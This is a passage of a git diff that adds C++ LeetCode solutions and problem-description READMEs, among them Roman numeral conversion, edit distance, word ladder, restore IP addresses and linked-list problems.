Constraints:

+ +
    +
  • 1 <= s.length <= 1000
  • +
  • s consists of English letters (lower-case and upper-case), ',' and '.'.
  • +
  • 1 <= numRows <= 1000
  • +
diff --git a/Add Code Here/LeetCode_c++/0012-integer-to-roman/0012-integer-to-roman.cpp b/Add Code Here/LeetCode_c++/0012-integer-to-roman/0012-integer-to-roman.cpp new file mode 100644 index 00000000000..b957a16dbef --- /dev/null +++ b/Add Code Here/LeetCode_c++/0012-integer-to-roman/0012-integer-to-roman.cpp @@ -0,0 +1,36 @@ +class Solution { +public: + string intToRoman(int num) + { + /* + M 1000 + CM 900 + D 500 + CD 400 + C 100 + XC 90 + L 50 + XL 40 + X 10 + IX 9 + V 5 + IV 4 + I 1 + */ + vector>roman ; + roman = {{"M",1000},{"CM",900},{"D",500},{"CD",400},{"C",100} + ,{"XC",90},{"L",50},{"XL",40},{"X",10},{"IX",9},{"V",5}, + {"IV",4},{"I",1}}; + + string ans=""; + for( int i = 0; i= roman[i].second ) + { + ans+=roman[i].first; + num-=roman[i].second; + } + } + return ans; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0012-integer-to-roman/README.md b/Add Code Here/LeetCode_c++/0012-integer-to-roman/README.md new file mode 100644 index 00000000000..a7f8a49bb71 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0012-integer-to-roman/README.md @@ -0,0 +1,55 @@ +

12. Integer to Roman

Medium


Roman numerals are represented by seven different symbols: I, V, X, L, C, D and M.

+ +
+Symbol       Value
+I             1
+V             5
+X             10
+L             50
+C             100
+D             500
+M             1000
+ +

For example, 2 is written as II in Roman numeral, just two one's added together. 12 is written as XII, which is simply X + II. The number 27 is written as XXVII, which is XX + V + II.

+ +

Roman numerals are usually written largest to smallest from left to right. However, the numeral for four is not IIII. Instead, the number four is written as IV. Because the one is before the five we subtract it making four. The same principle applies to the number nine, which is written as IX. There are six instances where subtraction is used:

+ +
    +
  • I can be placed before V (5) and X (10) to make 4 and 9. 
  • +
  • X can be placed before L (50) and C (100) to make 40 and 90. 
  • +
  • C can be placed before D (500) and M (1000) to make 400 and 900.
  • +
+ +

Given an integer, convert it to a roman numeral.

+ +

 

+

Example 1:

+ +
+Input: num = 3
+Output: "III"
+Explanation: 3 is represented as 3 ones.
+
+ +

Example 2:

+ +
+Input: num = 58
+Output: "LVIII"
+Explanation: L = 50, V = 5, III = 3.
+
+ +

Example 3:

+ +
+Input: num = 1994
+Output: "MCMXCIV"
+Explanation: M = 1000, CM = 900, XC = 90 and IV = 4.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= num <= 3999
  • +
diff --git a/Add Code Here/LeetCode_c++/0013-roman-to-integer/0013-roman-to-integer.cpp b/Add Code Here/LeetCode_c++/0013-roman-to-integer/0013-roman-to-integer.cpp new file mode 100644 index 00000000000..c76e451cf16 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0013-roman-to-integer/0013-roman-to-integer.cpp @@ -0,0 +1,26 @@ +class Solution { +public: + int romanToInt(string s) + { + //when a smaller value appears before a larger value, it represents subtraction, + //while when a smaller value appears after or equal to a larger value, it represents addition + unordered_mapmp; + mp['I'] = 1; + mp['V'] = 5; + mp['X'] = 10; + mp['L'] = 50; + mp['C'] = 100; + mp['D'] = 500; + mp['M'] = 1000; + + int ans=0; + for( int i=0;i13. Roman to Integer

Easy


Roman numerals are represented by seven different symbols: I, V, X, L, C, D and M.

+ +
+Symbol       Value
+I             1
+V             5
+X             10
+L             50
+C             100
+D             500
+M             1000
+ +

For example, 2 is written as II in Roman numeral, just two ones added together. 12 is written as XII, which is simply X + II. The number 27 is written as XXVII, which is XX + V + II.

+ +

Roman numerals are usually written largest to smallest from left to right. However, the numeral for four is not IIII. Instead, the number four is written as IV. Because the one is before the five we subtract it making four. The same principle applies to the number nine, which is written as IX. There are six instances where subtraction is used:

+ +
    +
  • I can be placed before V (5) and X (10) to make 4 and 9. 
  • +
  • X can be placed before L (50) and C (100) to make 40 and 90. 
  • +
  • C can be placed before D (500) and M (1000) to make 400 and 900.
  • +
+ +

Given a roman numeral, convert it to an integer.

+ +

 

+

Example 1:

+ +
+Input: s = "III"
+Output: 3
+Explanation: III = 3.
+
+ +

Example 2:

+ +
+Input: s = "LVIII"
+Output: 58
+Explanation: L = 50, V= 5, III = 3.
+
+ +

Example 3:

+ +
+Input: s = "MCMXCIV"
+Output: 1994
+Explanation: M = 1000, CM = 900, XC = 90 and IV = 4.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= s.length <= 15
  • +
  • s contains only the characters ('I', 'V', 'X', 'L', 'C', 'D', 'M').
  • +
  • It is guaranteed that s is a valid roman numeral in the range [1, 3999].
  • +
diff --git a/Add Code Here/LeetCode_c++/0014-longest-common-prefix/0014-longest-common-prefix.cpp b/Add Code Here/LeetCode_c++/0014-longest-common-prefix/0014-longest-common-prefix.cpp new file mode 100644 index 00000000000..bb68667384c --- /dev/null +++ b/Add Code Here/LeetCode_c++/0014-longest-common-prefix/0014-longest-common-prefix.cpp @@ -0,0 +1,32 @@ +class Solution { +public: + string longestCommonPrefix(vector& strs) + { + // string ans = strs[0]; + // for( int i=1;i14. Longest Common Prefix

Easy


Write a function to find the longest common prefix string amongst an array of strings.

+ +

If there is no common prefix, return an empty string "".

+ +

 

+

Example 1:

+ +
+Input: strs = ["flower","flow","flight"]
+Output: "fl"
+
+ +

Example 2:

+ +
+Input: strs = ["dog","racecar","car"]
+Output: ""
+Explanation: There is no common prefix among the input strings.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= strs.length <= 200
  • +
  • 0 <= strs[i].length <= 200
  • +
  • strs[i] consists of only lowercase English letters.
  • +
diff --git a/Add Code Here/LeetCode_c++/0028-find-the-index-of-the-first-occurrence-in-a-string/0028-find-the-index-of-the-first-occurrence-in-a-string.cpp b/Add Code Here/LeetCode_c++/0028-find-the-index-of-the-first-occurrence-in-a-string/0028-find-the-index-of-the-first-occurrence-in-a-string.cpp new file mode 100644 index 00000000000..5ae50b7d99a --- /dev/null +++ b/Add Code Here/LeetCode_c++/0028-find-the-index-of-the-first-occurrence-in-a-string/0028-find-the-index-of-the-first-occurrence-in-a-string.cpp @@ -0,0 +1,23 @@ +class Solution { +public: + int strStr(string haystack, string needle) + { + int j=0; + for( int i=0;i28. Find the Index of the First Occurrence in a String

Easy


Given two strings needle and haystack, return the index of the first occurrence of needle in haystack, or -1 if needle is not part of haystack.

+ +

 

+

Example 1:

+ +
+Input: haystack = "sadbutsad", needle = "sad"
+Output: 0
+Explanation: "sad" occurs at index 0 and 6.
+The first occurrence is at index 0, so we return 0.
+
+ +

Example 2:

+ +
+Input: haystack = "leetcode", needle = "leeto"
+Output: -1
+Explanation: "leeto" did not occur in "leetcode", so we return -1.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= haystack.length, needle.length <= 104
  • +
  • haystack and needle consist of only lowercase English characters.
  • +
diff --git a/Add Code Here/LeetCode_c++/0041-first-missing-positive/0041-first-missing-positive.cpp b/Add Code Here/LeetCode_c++/0041-first-missing-positive/0041-first-missing-positive.cpp new file mode 100644 index 00000000000..d8d8a643a74 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0041-first-missing-positive/0041-first-missing-positive.cpp @@ -0,0 +1,21 @@ +class Solution { +public: + int firstMissingPositive(vector& nums) + { + for( int i=0;i0 && nums[i]<=nums.size() && + nums[i]!= nums[nums[i]-1] ) + { + swap(nums[i],nums[nums[i]-1]); + } + } + for( int i=0;i41. First Missing Positive

Hard


Given an unsorted integer array nums, return the smallest missing positive integer.

+ +

You must implement an algorithm that runs in O(n) time and uses O(1) auxiliary space.

+ +

 

+

Example 1:

+ +
+Input: nums = [1,2,0]
+Output: 3
+Explanation: The numbers in the range [1,2] are all in the array.
+
+ +

Example 2:

+ +
+Input: nums = [3,4,-1,1]
+Output: 2
+Explanation: 1 is in the array but 2 is missing.
+
+ +

Example 3:

+ +
+Input: nums = [7,8,9,11,12]
+Output: 1
+Explanation: The smallest positive integer 1 is missing.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= nums.length <= 105
  • +
  • -231 <= nums[i] <= 231 - 1
  • +
diff --git a/Add Code Here/LeetCode_c++/0058-length-of-last-word/0058-length-of-last-word.cpp b/Add Code Here/LeetCode_c++/0058-length-of-last-word/0058-length-of-last-word.cpp new file mode 100644 index 00000000000..ba96fef3df8 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0058-length-of-last-word/0058-length-of-last-word.cpp @@ -0,0 +1,15 @@ +class Solution { +public: + int lengthOfLastWord(string s) + { + int len=0; + int i = s.length()-1; + while(s[i]==' ') + i--; + + while( i>=0 && s[i--]!=' ') + len++; + + return len; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0058-length-of-last-word/README.md b/Add Code Here/LeetCode_c++/0058-length-of-last-word/README.md new file mode 100644 index 00000000000..5a947b2f507 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0058-length-of-last-word/README.md @@ -0,0 +1,37 @@ +

58. Length of Last Word

Easy


Given a string s consisting of words and spaces, return the length of the last word in the string.

+ +

A word is a maximal substring consisting of non-space characters only.

+ +

 

+

Example 1:

+ +
+Input: s = "Hello World"
+Output: 5
+Explanation: The last word is "World" with length 5.
+
+ +

Example 2:

+ +
+Input: s = "   fly me   to   the moon  "
+Output: 4
+Explanation: The last word is "moon" with length 4.
+
+ +

Example 3:

+ +
+Input: s = "luffy is still joyboy"
+Output: 6
+Explanation: The last word is "joyboy" with length 6.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= s.length <= 104
  • +
  • s consists of only English letters and spaces ' '.
  • +
  • There will be at least one word in s.
  • +
diff --git a/Add Code Here/LeetCode_c++/0072-Edit-Distance/0072-edit-distance.cpp b/Add Code Here/LeetCode_c++/0072-Edit-Distance/0072-edit-distance.cpp new file mode 100644 index 00000000000..99b25bdca33 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0072-Edit-Distance/0072-edit-distance.cpp @@ -0,0 +1,24 @@ +class Solution { +public: + int minDistance(string word1, string word2) { + + int length1 = word1.length(); + int length2 = word2.length(); + + vector> dp(length1 + 1, vector(length2 + 1)); + + for (int i = 1; i <= length1; ++i) + dp[i][0] = i; + + for (int j = 1; j <= length2; ++j) + dp[0][j] = j; + + for (int i = 1; i <= length1; ++i) + for (int j = 1; j <= length2; ++j) + if (word1[i - 1] == word2[j - 1]) + dp[i][j] = dp[i - 1][j - 1]; + else + dp[i][j] = min({dp[i - 1][j - 1], dp[i - 1][j], dp[i][j - 1]}) + 1; + return dp[length1][length2]; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0072-Edit-Distance/README.md b/Add Code Here/LeetCode_c++/0072-Edit-Distance/README.md new file mode 100644 index 00000000000..5167f4eef78 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0072-Edit-Distance/README.md @@ -0,0 +1,42 @@ +

72. Edit Distance

Medium


+

Given two strings word1 and word2, return the minimum number of operations required to convert word1 to word2.

+

You have the following three operations permitted on a word:

+
    +
  • Insert a character
  • +
  • Delete a character
  • +
  • Replace a character
  • +
+ +

 

+

Example 1:

+ +
+Input: word1 = "horse", word2 = "ros"
+Output: 3
+Explanation:
+horse -> rorse (replace 'h' with 'r') +rorse -> rose (remove 'r') +rose -> ros (remove 'e') +
+ +

Example 2:

+ +
+Input: word1 = "intention", word2 = "execution"
+Output: 5
+Explanation: 
+intention -> inention (remove 't')
+inention -> enention (replace 'i' with 'e')
+enention -> exention (replace 'n' with 'x')
+exention -> exection (replace 'n' with 'c')
+exection -> execution (insert 'u')
+
+ +

 

+

Constraints:

+ +
    +
  • 0 <= word1.length <= 500
  • +
  • 0 <= word2.length <= 500
  • +
  • word1 & word2 consists of only lowercase English letters.
  • +
diff --git a/Add Code Here/LeetCode_c++/0092-reverse-linked-list-ii/0092-reverse-linked-list-ii.cpp b/Add Code Here/LeetCode_c++/0092-reverse-linked-list-ii/0092-reverse-linked-list-ii.cpp new file mode 100644 index 00000000000..73c7cc3f088 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0092-reverse-linked-list-ii/0092-reverse-linked-list-ii.cpp @@ -0,0 +1,42 @@ +/** + * Definition for singly-linked list. + * struct ListNode { + * int val; + * ListNode *next; + * ListNode() : val(0), next(nullptr) {} + * ListNode(int x) : val(x), next(nullptr) {} + * ListNode(int x, ListNode *next) : val(x), next(next) {} + * }; + */ +class Solution { +public: + ListNode* reverseBetween(ListNode* head, int left, int right) + { + if(head==NULL || head->next==NULL || left == right ) + return head; + + ListNode* dummy =new ListNode (0,head); + ListNode* prev=NULL; + ListNode* curr=dummy; + + for(int i=0;inext; + } + ListNode * leftprev=prev; + ListNode * leftcurr=curr; + for(int j=left;j<=right;j++) + { + ListNode * frwd=curr->next; + curr->next=prev; + prev=curr; + curr=frwd; + } + leftprev->next=prev; + leftcurr->next=curr; + + return dummy->next; + + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0092-reverse-linked-list-ii/README.md b/Add Code Here/LeetCode_c++/0092-reverse-linked-list-ii/README.md new file mode 100644 index 00000000000..ef7393e9cec --- /dev/null +++ b/Add Code Here/LeetCode_c++/0092-reverse-linked-list-ii/README.md @@ -0,0 +1,29 @@ +

92. Reverse Linked List II

Medium


Given the head of a singly linked list and two integers left and right where left <= right, reverse the nodes of the list from position left to position right, and return the reversed list.

+ +

 

+

Example 1:

+ +
+Input: head = [1,2,3,4,5], left = 2, right = 4
+Output: [1,4,3,2,5]
+
+ +

Example 2:

+ +
+Input: head = [5], left = 1, right = 1
+Output: [5]
+
+ +

 

+

Constraints:

+ +
    +
  • The number of nodes in the list is n.
  • +
  • 1 <= n <= 500
  • +
  • -500 <= Node.val <= 500
  • +
  • 1 <= left <= right <= n
  • +
+ +

 

+Follow up: Could you do it in one pass? \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0093-restore-ip-addresses/0093-restore-ip-addresses.cpp b/Add Code Here/LeetCode_c++/0093-restore-ip-addresses/0093-restore-ip-addresses.cpp new file mode 100644 index 00000000000..de5d865e95d --- /dev/null +++ b/Add Code Here/LeetCode_c++/0093-restore-ip-addresses/0093-restore-ip-addresses.cpp @@ -0,0 +1,50 @@ +class Solution { +public: + + bool check ( string str) + { + if( str.size() >3 || str.size()==0) + return false; + + if(stoi(str)>255 || stoi(str)<0) + return false; + if( str.size()>1 && str[0]=='0') + return false; + + return true; + } + void solve( string s, vector&ans,string temp ,int count,int index) + { + if( count==3) + { + if(check(s.substr(index))) + ans.push_back( temp +s.substr(index)); + + return ; + } + int sz= s.length(); + for( int i =index;i restoreIpAddresses(string s) + { + vectorans; + if(s.length()>12) + return ans; + + string temp=""; + + solve( s,ans,temp,0,0); + return ans; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0093-restore-ip-addresses/README.md b/Add Code Here/LeetCode_c++/0093-restore-ip-addresses/README.md new file mode 100644 index 00000000000..40ef462ad9d --- /dev/null +++ b/Add Code Here/LeetCode_c++/0093-restore-ip-addresses/README.md @@ -0,0 +1,37 @@ +

93. Restore IP Addresses

Medium


A valid IP address consists of exactly four integers separated by single dots. Each integer is between 0 and 255 (inclusive) and cannot have leading zeros.

+ +
    +
  • For example, "0.1.2.201" and "192.168.1.1" are valid IP addresses, but "0.011.255.245", "192.168.1.312" and "192.168@1.1" are invalid IP addresses.
  • +
+ +

Given a string s containing only digits, return all possible valid IP addresses that can be formed by inserting dots into s. You are not allowed to reorder or remove any digits in s. You may return the valid IP addresses in any order.

+ +

 

+

Example 1:

+ +
+Input: s = "25525511135"
+Output: ["255.255.11.135","255.255.111.35"]
+
+ +

Example 2:

+ +
+Input: s = "0000"
+Output: ["0.0.0.0"]
+
+ +

Example 3:

+ +
+Input: s = "101023"
+Output: ["1.0.10.23","1.0.102.3","10.1.0.23","10.10.2.3","101.0.2.3"]
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= s.length <= 20
  • +
  • s consists of digits only.
  • +
diff --git a/Add Code Here/LeetCode_c++/0118-pascals-triangle/0118-pascals-triangle.cpp b/Add Code Here/LeetCode_c++/0118-pascals-triangle/0118-pascals-triangle.cpp new file mode 100644 index 00000000000..d58ac092b31 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0118-pascals-triangle/0118-pascals-triangle.cpp @@ -0,0 +1,23 @@ +class Solution { +public: + vector> generate(int n ) + { + vector>ans; + ans.push_back({1}); + if(n==1) + return ans; + for(int i=1;itemp; + temp.push_back(1); + for(int j =1;j118. Pascal's Triangle

Easy


Given an integer numRows, return the first numRows of Pascal's triangle.

+ +

In Pascal's triangle, each number is the sum of the two numbers directly above it as shown:

+ +

 

+

Example 1:

+
Input: numRows = 5
+Output: [[1],[1,1],[1,2,1],[1,3,3,1],[1,4,6,4,1]]
+

Example 2:

+
Input: numRows = 1
+Output: [[1]]
+
+

 

+

Constraints:

+ +
    +
  • 1 <= numRows <= 30
  • +
diff --git a/Add Code Here/LeetCode_c++/0120-triangle/0120-triangle.cpp b/Add Code Here/LeetCode_c++/0120-triangle/0120-triangle.cpp new file mode 100644 index 00000000000..3488a6c39f7 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0120-triangle/0120-triangle.cpp @@ -0,0 +1,66 @@ +class Solution { +public: + int solve( vector>&triangle,int j ,int i) + { + if(i== triangle.size()) + return 0; + int sum0 =INT_MAX; + int sum1 =INT_MAX; + + sum0 = triangle[i][j] + solve(triangle,j,i+1); + if( j+1 < triangle[i].size()) + sum1 = triangle[i][j+1] + solve(triangle,j+1,i+1); + + return min(sum0,sum1); + } + int solvemem( vector>&triangle,int j,int i,vector>&dp) + { + if(i== triangle.size()) + return 0; + if(dp[i][j]!=-1) + return dp[i][j]; + + int sum0 =INT_MAX; + int sum1 =INT_MAX; + + sum0 = triangle[i][j] + solvemem(triangle,j,i+1,dp); + if( j+1 < triangle[i].size()) + sum1 = triangle[i][j+1] + solvemem(triangle,j+1,i+1,dp); + + return dp[i][j] =min(sum0,sum1); + } + + int solvetb( vector>&triangle ) + { + int n = triangle.size(); + vector>dp( n,vector( n+1,0)); + + for(int i=0;i=0;i--) + { + for( int j= 0;j>& triangle) + { + // return solve( triangle ,0,0 ); + + // vector>dp(triangle.size(),vector(triangle.size(),-1)); + // return solvemem( triangle,0,0,dp); + + return solvetb( triangle ); + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0120-triangle/README.md b/Add Code Here/LeetCode_c++/0120-triangle/README.md new file mode 100644 index 00000000000..ee52d16bda3 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0120-triangle/README.md @@ -0,0 +1,37 @@ +

120. Triangle

Medium


Given a triangle array, return the minimum path sum from top to bottom.

+ +

For each step, you may move to an adjacent number of the row below. More formally, if you are on index i on the current row, you may move to either index i or index i + 1 on the next row.

+ +

 

+

Example 1:

+ +
+Input: triangle = [[2],[3,4],[6,5,7],[4,1,8,3]]
+Output: 11
+Explanation: The triangle looks like:
+   2
+  3 4
+ 6 5 7
+4 1 8 3
+The minimum path sum from top to bottom is 2 + 3 + 5 + 1 = 11 (underlined above).
+
+ +

Example 2:

+ +
+Input: triangle = [[-10]]
+Output: -10
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= triangle.length <= 200
  • +
  • triangle[0].length == 1
  • +
  • triangle[i].length == triangle[i - 1].length + 1
  • +
  • -104 <= triangle[i][j] <= 104
  • +
+ +

 

+Follow up: Could you do this using only O(n) extra space, where n is the total number of rows in the triangle? \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0127-word-ladder/0127-word-ladder.cpp b/Add Code Here/LeetCode_c++/0127-word-ladder/0127-word-ladder.cpp new file mode 100644 index 00000000000..dc8e85cfbc3 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0127-word-ladder/0127-word-ladder.cpp @@ -0,0 +1,45 @@ +class Solution { +public: + int ladderLength(string beginWord, string endWord, vector& wordlist) + { + unordered_set dict( wordlist.begin(),wordlist.end()); + queueq; + + if(dict.find(endWord)==dict.end()) + return 0; + int ladder = 1; + q.push(beginWord); + + while(!q.empty()) + { + int n = q.size(); + + for( int i=0;i127. Word Ladder

Hard


A transformation sequence from word beginWord to word endWord using a dictionary wordList is a sequence of words beginWord -> s1 -> s2 -> ... -> sk such that:

+ +
    +
  • Every adjacent pair of words differs by a single letter.
  • +
  • Every si for 1 <= i <= k is in wordList. Note that beginWord does not need to be in wordList.
  • +
  • sk == endWord
  • +
+ +

Given two words, beginWord and endWord, and a dictionary wordList, return the number of words in the shortest transformation sequence from beginWord to endWord, or 0 if no such sequence exists.

+ +

 

+

Example 1:

+ +
+Input: beginWord = "hit", endWord = "cog", wordList = ["hot","dot","dog","lot","log","cog"]
+Output: 5
+Explanation: One shortest transformation sequence is "hit" -> "hot" -> "dot" -> "dog" -> cog", which is 5 words long.
+
+ +

Example 2:

+ +
+Input: beginWord = "hit", endWord = "cog", wordList = ["hot","dot","dog","lot","log"]
+Output: 0
+Explanation: The endWord "cog" is not in wordList, therefore there is no valid transformation sequence.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= beginWord.length <= 10
  • +
  • endWord.length == beginWord.length
  • +
  • 1 <= wordList.length <= 5000
  • +
  • wordList[i].length == beginWord.length
  • +
  • beginWord, endWord, and wordList[i] consist of lowercase English letters.
  • +
  • beginWord != endWord
  • +
  • All the words in wordList are unique.
  • +
diff --git a/Add Code Here/LeetCode_c++/0135-candy/0135-candy.cpp b/Add Code Here/LeetCode_c++/0135-candy/0135-candy.cpp new file mode 100644 index 00000000000..cc15fd5db4a --- /dev/null +++ b/Add Code Here/LeetCode_c++/0135-candy/0135-candy.cpp @@ -0,0 +1,28 @@ +class Solution { +public: + int candy(vector& ratings) + { + int n= ratings.size(); + vectorcandy(n,1); + for( int i=1;iratings[i-1] ) + { + candy[i]=candy[i-1]+1; + } + } + for( int i=n-2;i>=0;i--) + { + if( ratings[i]>ratings[i+1] && candy[i]<=candy[i+1]) + { + candy[i]=candy[i+1]+1; + } + } + int ans=0; + for(auto it:candy) + { + ans+=it; + } + return ans; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0135-candy/README.md b/Add Code Here/LeetCode_c++/0135-candy/README.md new file mode 100644 index 00000000000..3176e05d8f7 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0135-candy/README.md @@ -0,0 +1,37 @@ +

135. Candy

Hard


There are n children standing in a line. Each child is assigned a rating value given in the integer array ratings.

+ +

You are giving candies to these children subjected to the following requirements:

+ +
    +
  • Each child must have at least one candy.
  • +
  • Children with a higher rating get more candies than their neighbors.
  • +
+ +

Return the minimum number of candies you need to have to distribute the candies to the children.

+ +

 

+

Example 1:

+ +
+Input: ratings = [1,0,2]
+Output: 5
+Explanation: You can allocate to the first, second and third child with 2, 1, 2 candies respectively.
+
+ +

Example 2:

+ +
+Input: ratings = [1,2,2]
+Output: 4
+Explanation: You can allocate to the first, second and third child with 1, 2, 1 candies respectively.
+The third child gets 1 candy because it satisfies the above two conditions.
+
+ +

 

+

Constraints:

+ +
    +
  • n == ratings.length
  • +
  • 1 <= n <= 2 * 104
  • +
  • 0 <= ratings[i] <= 2 * 104
  • +
diff --git a/Add Code Here/LeetCode_c++/0138-copy-list-with-random-pointer/0138-copy-list-with-random-pointer.cpp b/Add Code Here/LeetCode_c++/0138-copy-list-with-random-pointer/0138-copy-list-with-random-pointer.cpp new file mode 100644 index 00000000000..17351797f63 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0138-copy-list-with-random-pointer/0138-copy-list-with-random-pointer.cpp @@ -0,0 +1,92 @@ +/* +// Definition for a Node. +class Node { +public: + int val; + Node* next; + Node* random; + + Node(int _val) { + val = _val; + next = NULL; + random = NULL; + } +}; +*/ + +class Solution { +public: + Node* copyRandomList(Node* head) + { + // if(!head) + // return NULL; + // Node * temp=head; + // while(temp) + // { + // Node * newnode =new Node (temp->val); + // newnode->next=temp->next; + // temp->next=newnode; + // temp=newnode->next; + // } + // temp=head; + // while(temp) + // { + // if(temp->random) + // temp->next->random=temp->random->next; + // else + // temp->next->random=NULL; + // temp=temp->next->next; + // } + // temp=head; + // Node * clone =temp->next; + // Node * ans=clone; + // while(temp && clone) + // { + // temp->next= temp->next->next; + // clone->next = clone->next ? clone ->next->next : NULL; + + // temp=temp->next; + // clone=clone->next; + // } + // return ans; + + ///------16-09-2023 + + if(!head) + return NULL; + + Node* temp =head; + while(temp) + { + Node* newnode = new Node(temp->val); + newnode->next = temp->next; + temp->next =newnode; + temp = newnode->next; + } + temp=head; + while(temp) + { + if(temp->random) + { + temp->next->random = temp->random->next; + } + else + temp->next->random =NULL; + + temp = temp->next->next; + } + temp = head; + Node * clone = temp->next; + Node * ans = clone; + + while( temp && clone ) + { + temp->next= temp->next->next; + clone->next= clone->next ?clone->next->next : NULL; + + temp= temp->next; + clone=clone->next; + } + return ans; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0138-copy-list-with-random-pointer/README.md b/Add Code Here/LeetCode_c++/0138-copy-list-with-random-pointer/README.md new file mode 100644 index 00000000000..e428e5a3788 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0138-copy-list-with-random-pointer/README.md @@ -0,0 +1,49 @@ +

138. Copy List with Random Pointer

Medium


A linked list of length n is given such that each node contains an additional random pointer, which could point to any node in the list, or null.

+ +

Construct a deep copy of the list. The deep copy should consist of exactly n brand new nodes, where each new node has its value set to the value of its corresponding original node. Both the next and random pointer of the new nodes should point to new nodes in the copied list such that the pointers in the original list and copied list represent the same list state. None of the pointers in the new list should point to nodes in the original list.

+ +

For example, if there are two nodes X and Y in the original list, where X.random --> Y, then for the corresponding two nodes x and y in the copied list, x.random --> y.

+ +

Return the head of the copied linked list.

+ +

The linked list is represented in the input/output as a list of n nodes. Each node is represented as a pair of [val, random_index] where:

+ +
    +
  • val: an integer representing Node.val
  • +
  • random_index: the index of the node (range from 0 to n-1) that the random pointer points to, or null if it does not point to any node.
  • +
+ +

Your code will only be given the head of the original linked list.

+ +

 

+

Example 1:

+ +
+Input: head = [[7,null],[13,0],[11,4],[10,2],[1,0]]
+Output: [[7,null],[13,0],[11,4],[10,2],[1,0]]
+
+ +

Example 2:

+ +
+Input: head = [[1,1],[2,1]]
+Output: [[1,1],[2,1]]
+
+ +

Example 3:

+ +

+ +
+Input: head = [[3,null],[3,0],[3,null]]
+Output: [[3,null],[3,0],[3,null]]
+
+ +

 

+

Constraints:

+ +
    +
  • 0 <= n <= 1000
  • +
  • -104 <= Node.val <= 104
  • +
  • Node.random is null or is pointing to some node in the linked list.
  • +
diff --git a/Add Code Here/LeetCode_c++/0141-linked-list-cycle/0141-linked-list-cycle.cpp b/Add Code Here/LeetCode_c++/0141-linked-list-cycle/0141-linked-list-cycle.cpp new file mode 100644 index 00000000000..f3df7aa8bc5 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0141-linked-list-cycle/0141-linked-list-cycle.cpp @@ -0,0 +1,25 @@ +/** + * Definition for singly-linked list. + * struct ListNode { + * int val; + * ListNode *next; + * ListNode(int x) : val(x), next(NULL) {} + * }; + */ +class Solution { +public: + bool hasCycle(ListNode *head) + { + ListNode* slow =head; + ListNode* fast =head; + + while( fast && fast->next ) + { + slow = slow->next; + fast=fast->next->next; + if(fast==slow) + return true; + } + return false; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0141-linked-list-cycle/README.md b/Add Code Here/LeetCode_c++/0141-linked-list-cycle/README.md new file mode 100644 index 00000000000..c5ab8258e42 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0141-linked-list-cycle/README.md @@ -0,0 +1,42 @@ +

141. Linked List Cycle

Easy


Given head, the head of a linked list, determine if the linked list has a cycle in it.

+ +

There is a cycle in a linked list if there is some node in the list that can be reached again by continuously following the next pointer. Internally, pos is used to denote the index of the node that tail's next pointer is connected to. Note that pos is not passed as a parameter.

+ +

Return true if there is a cycle in the linked list. Otherwise, return false.

+ +

 

+

Example 1:

+ +
+Input: head = [3,2,0,-4], pos = 1
+Output: true
+Explanation: There is a cycle in the linked list, where the tail connects to the 1st node (0-indexed).
+
+ +

Example 2:

+ +
+Input: head = [1,2], pos = 0
+Output: true
+Explanation: There is a cycle in the linked list, where the tail connects to the 0th node.
+
+ +

Example 3:

+ +
+Input: head = [1], pos = -1
+Output: false
+Explanation: There is no cycle in the linked list.
+
+ +

 

+

Constraints:

+ +
    +
  • The number of the nodes in the list is in the range [0, 104].
  • +
  • -105 <= Node.val <= 105
  • +
  • pos is -1 or a valid index in the linked-list.
  • +
+ +

 

+

Follow up: Can you solve it using O(1) (i.e. constant) memory?

diff --git a/Add Code Here/LeetCode_c++/0150-evaluate-reverse-polish-notation/0150-evaluate-reverse-polish-notation.cpp b/Add Code Here/LeetCode_c++/0150-evaluate-reverse-polish-notation/0150-evaluate-reverse-polish-notation.cpp new file mode 100644 index 00000000000..39b8d875499 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0150-evaluate-reverse-polish-notation/0150-evaluate-reverse-polish-notation.cpp @@ -0,0 +1,31 @@ +class Solution { +public: + int evalRPN(vector& tokens) + { + stackst; + for( int i=0;i150. Evaluate Reverse Polish Notation

Medium


You are given an array of strings tokens that represents an arithmetic expression in a Reverse Polish Notation.

+ +

Evaluate the expression. Return an integer that represents the value of the expression.

+ +

Note that:

+ +
    +
  • The valid operators are '+', '-', '*', and '/'.
  • +
  • Each operand may be an integer or another expression.
  • +
  • The division between two integers always truncates toward zero.
  • +
  • There will not be any division by zero.
  • +
  • The input represents a valid arithmetic expression in a reverse polish notation.
  • +
  • The answer and all the intermediate calculations can be represented in a 32-bit integer.
  • +
+ +

 

+

Example 1:

+ +
